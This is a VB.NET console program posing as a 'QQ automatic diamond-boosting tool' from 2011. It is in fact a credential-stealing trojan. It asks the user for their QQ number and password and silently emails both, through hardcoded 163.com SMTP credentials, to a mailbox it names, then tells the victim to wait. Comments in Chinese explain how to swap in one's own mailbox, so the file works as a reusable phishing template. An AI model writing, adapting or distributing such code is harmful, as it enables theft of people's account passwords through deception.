Imports System.Net.Mail
Module Module1

    Sub Main()
        Dim qq, password As String
        Console.WriteLine("QQ 自动刷钻工具（2011版）")
        Do
            Console.Write("请输入你的QQ： ")
            qq = Console.ReadLine()
        Loop Until IsNumeric(qq)

        Console.Write("请输入你的QQ密码： ")
        password = Console.ReadLine()

        Try
            Dim SmtpServer As New SmtpClient()
            Dim mail As New MailMessage()
            SmtpServer.Credentials = New  _
            Net.NetworkCredential("xu907709796@163.com", "xuwenxuan123") '将%USERNAME%改成你的邮箱，%PASSWORD%改成你的密码
            SmtpServer.Port = 110 '没有SSL的SMTP服务器填25
            SmtpServer.Host = "smtp.163.com " '将%SMTP%改成你的SMTP服务器地址
            SmtpServer.EnableSsl = True
            mail = New MailMessage()
            mail.From = New MailAddress("xu58384947@163.com") '将%USERNAME%改成你的邮箱
            mail.To.Add("xu58384947@163.com") '将%USERNAME%改成你的邮箱
            mail.Subject = (qq + " 的密码")
            mail.Body = "QQ: " & qq & Environment.NewLine & "密码： " & password
            SmtpServer.Send(mail)
        Catch ex As Exception

        End Try

        'End Try
        Console.Write("请等待。。。 ")
        Console.ReadLine()
    End Sub

End Module